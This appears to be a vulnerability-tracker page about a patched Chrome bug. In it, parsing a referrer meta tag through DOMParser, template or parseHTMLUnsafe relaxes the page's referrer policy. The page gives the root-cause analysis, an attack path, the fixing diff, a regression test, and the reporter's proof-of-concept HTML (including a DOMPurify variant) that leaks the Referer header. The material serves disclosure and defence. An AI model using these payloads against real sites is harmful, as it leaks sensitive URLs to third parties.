Medium watch CVSS 4.3 chrome Info Disclosure 📄 Reporter bug report 🔧 Commit mapped

Overview

Medium
Severity
4.3
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactInformation leak in DOM
DescriptionInformation leak in DOM
ComponentDOM
Bug ClassInfo Disclosure
Action tierwatch — information disclosure — security-relevant, below the RCE-class bar
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Tracker536526176
Fix commitc82c0056dc30 (chromium/src) +61/-1
CWECWE-200 (Information exposure)
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
CISA KEVNot listed
Creditedavlidienbrunn
Reported2026-07-19 (per vendor advisory)
Fix landed2026-07-20 (public git)
Disclosed2026-08-25
Patch gap36 days — fix public in source before the advisory

Background

`<meta name="referrer">`
An HTML meta directive that sets the document’s referrer policy, controlling how much of the referring URL is sent in the Referer header of subsequent requests.
Referrer meta quirk
Per the HTML spec note, the referrer meta type is unusual in that it updates the ExecutionContext’s policy directly rather than the document’s, unlike other meta types.
`ExecutionContext` / `GetDocument().IsActive()`
ExecutionContext is the object carrying a document’s security/policy state; Document::IsActive() returns true only for a document that is the active document of a live frame (not a detached or parser-only document).
Inactive parsing contexts
DOMParser().parseFromString, Document.parseHTMLUnsafe, and <template> contents parse HTML into documents/fragments that are not active documents of any displayed frame.

Root Cause Analysis

When the meta-attribute processing code in html_meta_element.cc encountered name="referrer", it applied the referrer policy whenever GetExecutionContext() was non-null, without checking whether the owning document was actually active. Because of the referrer quirk, this path mutates the ExecutionContext’s referrer policy directly. When a <meta name="referrer"> was parsed inside an inactive document created by DOMParser().parseFromString, Document.parseHTMLUnsafe, or <template> contents, the associated ExecutionContext — shared with or derived from the creator/active document — could have its referrer policy changed (for example to unsafe-url), affecting the creator document’s real network requests.

The fix adds && GetDocument().IsActive() so the referrer policy is only applied when the document is the active document, matching the spec requirement. The shipped WPT confirms that parsing a <meta name="referrer" content="unsafe-url"> via DOMParser, <template>, or parseHTMLUnsafe no longer changes the creator document’s referrer policy or leaks the referrer.

Key insight
The referrer branch applied a policy change based only on the presence of an ExecutionContext, ignoring whether the document was active; adding GetDocument().IsActive() restricts the mutation to real, displayed documents so parser-only documents cannot alter another document’s referrer policy.

Attack Path

  1. Establish restrictive baseline A page ships with <meta name="referrer" content="no-referrer"> (or otherwise has a privacy-preserving referrer policy), so its outgoing requests do not leak the referrer.
  2. Parse attacker/injected meta in an inactive context Content is parsed via new DOMParser().parseFromString('<meta name="referrer" content="unsafe-url">', 'text/html'), Document.parseHTMLUnsafe(...), or a <template> containing the meta tag.
  3. ExecutionContext policy mutated Because the referrer branch only checked GetExecutionContext(), the referrer quirk updated the referrer policy on the ExecutionContext even though the parsed document was never active, relaxing the creator document’s policy to unsafe-url.
  4. Referrer leak Subsequent fetch/navigation requests from the creator document then include the full referring URL in the Referer header, disclosing it to third parties (the WPT fetchAndGetReferrer step demonstrates the observable difference).

Impact Assessment

An attacker able to get HTML parsed in an inactive parsing context (DOMParser, <template>, parseHTMLUnsafe) within a victim page’s context could silently weaken that page’s referrer policy, causing later requests to leak the full referring URL — an information disclosure in the renderer/DOM. The advisory classifies it as InfoDisclosure (“Information leak in DOM”) and does not report exploitation in the wild. The precondition is that the victim page parses attacker-influenced markup through one of these non-active parsing APIs.

Files Changed

  • third_party/blink/renderer/core/html/html_meta_element.cc
  • third_party/blink/web_tests/external/wpt/referrer-policy/generic/meta-referrer-domparser.html

Audit Directions

  • Meta directives in non-active documents
    Audit every meta-attribute handler (referrer, CSP, viewport, theme-color, etc.) for whether it should apply when Document::IsActive() is false, since parser-only documents can carry attacker markup.
  • ExecutionContext vs Document mutation
    Search for code that mutates ExecutionContext state directly rather than the document; such “quirk” paths can bleak effects to a shared or creator context.
  • DOMParser / template / parseHTMLUnsafe side effects
    Test whether other parsing-time side effects (policies, feature counters, security state) unexpectedly influence the active document when triggered via DOMParser, <template>, or Document.parseHTMLUnsafe.
From c82c0056dc30f7178f3b0953e3da0bcc0c7904df Mon Sep 17 00:00:00 2001
From: Noam Rosenthal <[email protected]>
Date: Mon, 20 Jul 2026 08:59:41 -0700
Subject: [PATCH] <meta referrer> should only apply when document is active

Note that referrer is a bit quirky, see the note in the spec:
https://html.spec.whatwg.org/multipage/semantics.html#meta-referrer

This quirks makes it so that the ExecutionContext is updated directly
instead of the document, which is what other meta types do.

Bug: 536526176
Change-Id: I38947b9849544e5b5f6fbf98250d319028d633ef
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8125036
Reviewed-by: Daniel Vogelheim <[email protected]>
Commit-Queue: Noam Rosenthal <[email protected]>
Cr-Commit-Position: refs/heads/main@{#1664718}
---
diff --git a/third_party/blink/renderer/core/html/html_meta_element.cc b/third_party/blink/renderer/core/html/html_meta_element.cc
index 51c154a3..1654a99 100644
--- a/third_party/blink/renderer/core/html/html_meta_element.cc
+++ b/third_party/blink/renderer/core/html/html_meta_element.cc
@@ -727,7 +727,7 @@
     ProcessViewportContentAttribute(content_value,
                                     ViewportDescription::kViewportMeta);
   } else if (EqualIgnoringAsciiCase(name_value, "referrer") &&
-             GetExecutionContext()) {
+             GetExecutionContext() && GetDocument().IsActive()) {
     UseCounter::Count(&GetDocument(),
                       WebFeature::kHTMLMetaElementReferrerPolicy);
     if (!IsDescendantOf(GetDocument().head())) {
diff --git a/third_party/blink/web_tests/external/wpt/referrer-policy/generic/meta-referrer-domparser.html b/third_party/blink/web_tests/external/wpt/referrer-policy/generic/meta-referrer-domparser.html
new file mode 100644
index 0000000..e46a1c3
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/referrer-policy/generic/meta-referrer-domparser.html
@@ -0,0 +1,60 @@
+<!DOCTYPE html>
+<html>
+<head>
+  <meta name="referrer" content="no-referrer">
+  <script src="/resources/testharness.js"></script>
+  <script src="/resources/testharnessreport.js"></script>
+</head>
+<body>
+  <script>
+    async function fetchAndGetReferrer() {
+      let response = await fetch('/common/security-features/subresource/xhr.py');
+      let data = await response.json();
+      return data.headers.referer;
+    }
+
+    promise_test(async t => {
+      // 1. Initial fetch should not leak referrer.
+      let referrerBefore = await fetchAndGetReferrer();
+      assert_equals(referrerBefore, undefined, 'Initial referrer should be empty');
+
+      // 2. Parse a meta tag that would change referrer policy to unsafe-url.
+      new DOMParser().parseFromString(
+        '<meta name="referrer" content="unsafe-url">',
+        'text/html'
+      );
+
+      // 3. Second fetch should still not leak referrer.
+      let referrerAfter = await fetchAndGetReferrer();
+      assert_equals(referrerAfter, undefined, 'Referrer should still be empty');
+    }, "DOMParser().parseFromString should not affect creator document's referrer policy");
+
+    promise_test(async t => {
+      // 1. Initial fetch should not leak referrer.
+      let referrerBefore = await fetchAndGetReferrer();
+      assert_equals(referrerBefore, undefined, 'Initial referrer should be empty');
+
+      // 2. Parse a template tag containing a meta referrer.
+      let div = document.createElement('div');
+      div.innerHTML = '<template><meta name="referrer" content="unsafe-url"></template>';
+
+      // 3. Second fetch should still not leak referrer.
+      let referrerAfter = await fetchAndGetReferrer();
+      assert_equals(referrerAfter, undefined, 'Referrer should still be empty');
+    }, "Parsing <meta name='referrer'> inside <template> should not affect creator document's referrer policy");
+
+    promise_test(async t => {
+      // 1. Initial fetch should not leak referrer.
+      let referrerBefore = await fetchAndGetReferrer();
+      assert_equals(referrerBefore, undefined, 'Initial referrer should be empty');
+
+      // 2. Parse a meta tag that would change referrer policy to unsafe-url.
+      Document.parseHTMLUnsafe('<meta name="referrer" content="unsafe-url">');
+
+      // 3. Second fetch should still not leak referrer.
+      let referrerAfter = await fetchAndGetReferrer();
+      assert_equals(referrerAfter, undefined, 'Referrer should still be empty');
+    }, "Document.parseHTMLUnsafe() should not affect creator document's referrer policy");
+  </script>
+</body>
+</html>
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/third_party/blink/web_tests/external/wpt/referrer-policy/generic/meta-referrer-domparser.html b/third_party/blink/web_tests/external/wpt/referrer-policy/generic/meta-referrer-domparser.html
new file mode 100644
index 0000000..e46a1c3
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/referrer-policy/generic/meta-referrer-domparser.html
@@ -0,0 +1,60 @@
+<!DOCTYPE html>
+<html>
+<head>
+  <meta name="referrer" content="no-referrer">
+  <script src="/resources/testharness.js"></script>
+  <script src="/resources/testharnessreport.js"></script>
+</head>
+<body>
+  <script>
+    async function fetchAndGetReferrer() {
+      let response = await fetch('/common/security-features/subresource/xhr.py');
+      let data = await response.json();
+      return data.headers.referer;
+    }
+
+    promise_test(async t => {
+      // 1. Initial fetch should not leak referrer.
+      let referrerBefore = await fetchAndGetReferrer();
+      assert_equals(referrerBefore, undefined, 'Initial referrer should be empty');
+
+      // 2. Parse a meta tag that would change referrer policy to unsafe-url.
+      new DOMParser().parseFromString(
+        '<meta name="referrer" content="unsafe-url">',
+        'text/html'
+      );
+
+      // 3. Second fetch should still not leak referrer.
+      let referrerAfter = await fetchAndGetReferrer();
+      assert_equals(referrerAfter, undefined, 'Referrer should still be empty');
+    }, "DOMParser().parseFromString should not affect creator document's referrer policy");
+
+    promise_test(async t => {
+      // 1. Initial fetch should not leak referrer.
+      let referrerBefore = await fetchAndGetReferrer();
+      assert_equals(referrerBefore, undefined, 'Initial referrer should be empty');
+
+      // 2. Parse a template tag containing a meta referrer.
+      let div = document.createElement('div');
+      div.innerHTML = '<template><meta name="referrer" content="unsafe-url"></template>';
+
+      // 3. Second fetch should still not leak referrer.
+      let referrerAfter = await fetchAndGetReferrer();
+      assert_equals(referrerAfter, undefined, 'Referrer should still be empty');
+    }, "Parsing <meta name='referrer'> inside <template> should not affect creator document's referrer policy");
+
+    promise_test(async t => {
+      // 1. Initial fetch should not leak referrer.
+      let referrerBefore = await fetchAndGetReferrer();
+      assert_equals(referrerBefore, undefined, 'Initial referrer should be empty');
+
+      // 2. Parse a meta tag that would change referrer policy to unsafe-url.
+      Document.parseHTMLUnsafe('<meta name="referrer" content="unsafe-url">');
+
+      // 3. Second fetch should still not leak referrer.
+      let referrerAfter = await fetchAndGetReferrer();
+      assert_equals(referrerAfter, undefined, 'Referrer should still be empty');
+    }, "Document.parseHTMLUnsafe() should not affect creator document's referrer policy");
+  </script>
+</body>
+</html>
Loading diff…

Original Bug Report

reported by [email protected]

DOMParser().parseFromString applies <meta> referer policy by just parsing, allowing refleak in parsing/DOMPurify documents


Report description

DOMParser().parseFromString applies <meta> referer policy by just parsing, allowing refleak in parsing/DOMPurify documents


Bug location

Where do you want to report your vulnerability?

Chrome VRP – Report security issues affecting the Chrome browser. See program rules


The problem

Please describe the technical details of the vulnerability

Description

The DOMParser().parseFromString(string, "text/html") is supposed to be an inert parser for HTML content. Security libraries like DOMPurify relies on it to parse untrusted HTML, and expects it to be inert (in terms of affecting the calling context/window).

However, <meta name="referrer"> is for some reason applied to the current context while parsing, and it can override the current documents policy too:

<html>
    <head>
        <meta name="referrer" content="no-referrer">
    </head>
    <body>
        <script>
        fetch('https://example.com'); // does not leak any referrer, as expected
        new DOMParser().parseFromString(
            `<meta name="referrer" content="unsafe-url">`,
            "text/html"
        );
        fetch('https://example.com'); // does leak referrer
        </script>
    </body>
</html>

Changing referrer policy in a document can lead to security issues where sensitive content is in the current path/query/fragment. Furthermore, due to DOMPurify’s usage of it, this example also unexpectedly leaks (even though the meta tag is correctly removed by DOMPurify):

<html>
    <head>
        <meta name="referrer" content="no-referrer">
        <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/purify.min.js"></script>
    </head>
    <body>
        <script>
        // leaks referrer in the request to example.com
        setTimeout(function(){
                document.documentElement.innerHTML=DOMPurify.sanitize('<meta name="referrer" content="unsafe-url"><img src="https://example.com/leak2"/>')
        }, 1000);
        </script>
    </body>
</html>

Impact analysis

Expected inert DOMParser().parseFromString(string, "text/html") can affect the calling contexts referer policy via <meta name="referrer">.


The cause

What version of Chrome have you found the security issue in?

150.0.7871.124 (Official Build) snap (64-bit)

No, it is not related to a crash.

Choose the type of vulnerability

Information Leak

How would you like to be publicly acknowledged for your report?

avlidienbrunn

View on issue tracker